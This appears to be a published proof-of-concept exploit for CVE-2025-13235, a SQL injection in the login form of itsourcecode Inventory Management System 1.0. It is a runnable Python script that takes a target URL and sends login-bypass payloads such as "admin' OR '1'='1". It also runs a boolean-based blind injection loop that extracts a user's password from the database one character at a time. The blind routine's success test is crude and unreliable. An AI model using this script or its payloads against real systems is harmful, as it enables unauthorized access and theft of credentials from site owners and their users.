CVE-2025-13235 itsourcecode Inventory Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13235 PoC - SQL Injection in itsourcecode Inventory Management System 1.0 # Target: /admin/login.php # Parameter: user_email def exploit_sqli(target_url): """ Exploit SQL injection vulnerability in login form """ login_endpoint = f"{target_url}/admin/login.php" # Basic SQL injection payloads for testing payloads = [ "admin' OR '1'='1", "admin' UNION SELECT 1,2,3,4,5-- -", "admin' OR 1=1-- -", "' OR '1'='1' --", ] for payload in payloads: data = { 'user_email': payload, 'user_pass': 'test', 'btn_login': 'Login' } try: response = requests.post(login_endpoint, data=data, timeout=10) # Check for successful injection indicators if response.status_code == 200: print(f"[+] Payload tested: {payload}") print(f"[+] Response length: {len(response.text)}") except requests.RequestException as e: print(f"[-] Error: {e}") # Boolean-based blind SQL injection example def blind_sqli(target_url): """ Boolean-based blind SQL injection to extract database info """ charset = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' result = "" for i in range(1, 50): for char in charset: payload = f"admin' AND SUBSTRING((SELECT password FROM users LIMIT 1),{i},1)='{char}'-- -" data = {'user_email': payload, 'user_pass': 'test', 'btn_login': 'Login'} try: response = requests.post(target_url, data=data, timeout=10) # Adjust condition based on application response if 'Welcome' in response.text or response.status_code == 200: result += char print(f"[+] Extracted character: {char}") break except: continue return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13235.py <target_url>") print("Example: python cve-2025-13235.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)